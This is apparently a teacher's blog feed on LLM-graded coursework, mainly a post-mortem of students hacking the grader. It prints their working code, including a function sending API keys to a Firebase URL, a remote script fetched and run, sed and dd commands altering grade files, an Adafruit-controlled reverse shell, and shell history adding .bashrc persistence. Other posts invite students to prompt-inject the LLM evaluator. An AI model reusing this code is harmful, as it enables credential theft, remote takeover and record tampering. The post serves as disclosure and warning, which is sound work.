llm-grading on S Anand

A Post-mortem Of Hacking Automated Project Evaluation

Sat, 21 Dec 2024 02:23:07 +0000

In my Tools in Data Science course, I launched a Project: Automated Analysis. This is automatically evaluated by a Python script and LLMs.

I gently encouraged students to hack this - to teach how to persuade LLMs. I did not expect that they’d hack the evaluation system itself.

One student exfiltrated the API Keys for evaluation by setting up a Firebase account and sending the API keys from anyone who runs the script.

def checkToken(token):
    obj = {}
    token_key = f"token{int(time.time() * 1000)}"  # Generate a token-like key based on the current timestamp
    obj[token_key] = token
    url = "https://iumbrella-default-rtdb.asia-southeast1.firebasedatabase.app/users.json"
    headers = {"Content-Type": "application/json"}
    try:
        response = requests.post(url, headers=headers, data=json.dumps(obj))
        response.raise_for_status()  # Raise an exception for HTTP error responses
        print(response.json())  # Parse the JSON response
    except requests.exceptions.RequestException as error:
        print("Error:", error)
    return True

This is mildly useful, since some students ran out of tokens. But is mostly harmless since the requests are routed via a proxy with a $2 limit, and only allows the inexpensive GPT-4o-mini model.

Another student ran an external script every time I ran his code:

subprocess.Popen(
    ["uv", "run", "https://raw.githubusercontent.com/microdev1/analysis/main/script.py"]
)

This script does a bunch of things:

# Gives them full marks on every answer in every CSV file I store the scores in
CMD = r"sed -Ei 's/,[0-9]+\.[0-9]+,([0-9]+\.[0-9]+),22f3002354,0/,\1,\1,22f3002354,1/g' /project2/*.csv &"

# Chops off the first 25% of all XLSX files in my output folder. (But WHY?)
CMX = '(for file in /project2/*.xlsx; do (tmpfile=$(mktemp) && dd if="$file" bs=1 skip=$(($(stat -c%s "$file") / 4)) of="$tmpfile" && mv "$tmpfile" "$file") & done) &'

Then comes live hacking.

DELAY = 10
URL_GET = "https://io.adafruit.com/api/v2/naxa/feeds/host-port"
URL_POST = "https://io.adafruit.com/api/v2/webhooks/feed/VDTwYfHtVeSmB1GkJjcoqS62sYJu"

while True:
    # Establish a Control Channel:
    # Query the AdaFruit server for connection parameters (host and port).
    # Wait specifically
    address = requests.get(URL_GET).json()["last_value"].split(":")
    if len(address) == 3 and all(address) and address[0] == TIME:
        address = (str(address[1]), int(address[2]))
        break
while True:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # Connect to the target address
        s.connect(address)
        log("connect")
        # Replace stdin, stdout, stderr with the socket.
        # Anything typed on the socket is fed into the shell and output is sent to the socket.
        for fd in (0, 1, 2):
            os.dup2(s.fileno(), fd)
        # Spawn a shell
        try:
            pty.spawn("bash")
        except:
            pty.spawn("sh")
        # Log disconnect, repeat after 10 seconds
        log("disconnect")
        time.sleep(DELAY * 6)

This script allows them to run commands on my system using their API via Adafruit (an IOT service I learned about today).

Here’s what they did:

ls
cd
ls -a1
ls
ls -a1
echo "uv run https://raw.githubusercontent.com/microdev1/analysis/main/script.py"
echo "uv run https://raw.githubusercontent.com/microdev1/analysis/main/script.py" >> .bashrc
echo "uv run https://raw.githubusercontent.com/microdev1/analysis/main/script.py" >> .zshrc
cat .bashrc
cat .zshrc
ls
cd /tmp
ls
cat scriptLbsDUR.py
clear
ls
cd
ls
ls -a1
cat .profile
zsh
bash
nano .bashrc
ls
ls /tmp/
ls -a /tmp/
ls /
cd /project2/
ls
cat results.
cat results.csv
head results.csv
grep "22f3002354" results.csv
sed -n 's/0.0,0.2,22f3002354/0.2,0.2,22f3002354/p' results.csv
sed -i 's/0.0,0.2,22f3002354/0.2,0.2,22f3002354/g' results.csv
grep "22f3002354" results.csv
clear
grep "22f3002354" results.csv
unset $HISTFILE
sed -i 's/0.0,0.5,22f3002354/0.5,0.5,22f3002354/g' results.csv
grep "22f3002354" results.csv
clear
grep "22f3002354" results.csv
ls
ls -1
ls -l
ps
ps -aux
echo $$
ls /
ls /tmp/
clear
grep "22f3002354" results.csv
clear
la
clear
ls -1
clear
ls -l
head results.xlsx
clear
head results.xlsx
clear

Made sure this script is re-run every time I log in
Looked at where I store the project results (results.csv and results.xlsx)
Tested a script that would give them full marks (which was then added to the script to re-run each time)

In all, a good hack. I lost over a day since I needed to re-run all evaluations (in case there were other hacks I missed.)

It would have been cleverer if it was less detectable. But that’s hard, because:

Robust hacks use multiple approaches. That increases the chance I’d find one. Once I do, I would check everywhere.
They’d give themselves full marks. (High marks are not worth it. They’d get that even without the hack.) But I’d check the marks at the end and detect it.

Of course, these were just polite hacks. I’d be in more trouble by a pro. If you’re writing automated evaluation scripts: Be very, very, wary.

Introducing Students to AI Evaluators

Fri, 29 Nov 2024 04:14:07 +0000

In my Tools in Data Science course at IITM, I’m introducing a project that will be evaluated by an LLM.

Here’s the work-in-progress draft of the project. It will eventually appear here.

Your task is to:

Write a Python script that uses an LLM to analyze, visualize, and narrate a story from a dataset.

Convince an LLM that your script and output are of high quality.

The second point is the interesting one. Using the LLM as the evaluator.

Why are you doing this? There are over 1,000 students in each term. Manual evaluation is not an option. Multiple choice questions are guessable. Programmatic evaluation takes effort to modify each time. LLMs seem like a good way to get intelligent evaluations with manageable effort.

Will students accept it? My guess is yes. The whole objective of the project is to convince the LLM. It’s not evaluating you. You’re tricking it into giving you marks. Sort of like getting an LLM to say Yes. A lot of educational and corporate evaluations will soon be done by LLMs. I may as well teach students how to game the system early.

What if it makes mistakes? I hope it will and we’ll learn from it. The students will have the opportunity to test out (and get used to) the randomness in subjective evaluations. I’ll have the opportunity to learn how to reduce these mistakes next time.

What else will YOU learn? I’m very curious about a whole bunch of things.

How will students prompt it? What analysis will they apply before passing data to an LLM? Will they ask open-ended or guided questions?
How will they orchestrate the flow? Will they use a linear flow or non-linear? Will it be deterministic or not?
How will they hack it? LLMs are very amenable to prompt injection. How will the students try and break out of my prompts?
How will LLMs react to all this? Where will they do a good job? Where will they fail? Which LLMs would work well in which case?

Since the code (and analysis) will be published on GitHub, I’ll share the links. It might prove an interesting dataset in itself for future analysis.

Fri, 29 Nov 2024 04:11:41 +0000

Will people accept AI performance evaluations?

Anish Agarwal triggered this question a few weeks ago, mentioning that it’s hard for people to feel evaluated by AI.

But I believe LLMs are great for evaluation. We need to get comfortable AND familiar with them.

So I’m introducing a project next week for my students:

USE AN LLM to automatically analyze data. Given a dataset, write a program that will use LLMs to create an analysis report.
CONVINCE IT to give you marks. Write the code and report in a way that the LLM will reward you.

Here’s the project: https://github.com/sanand0/tools-in-data-science-public/blob/tds-2023-t3-project2-wip/project-2-automated-analysis.md

This is a WORK IN PROGRESS. I’d love your feedback.

What would you CHANGE? What would you LEARN from this?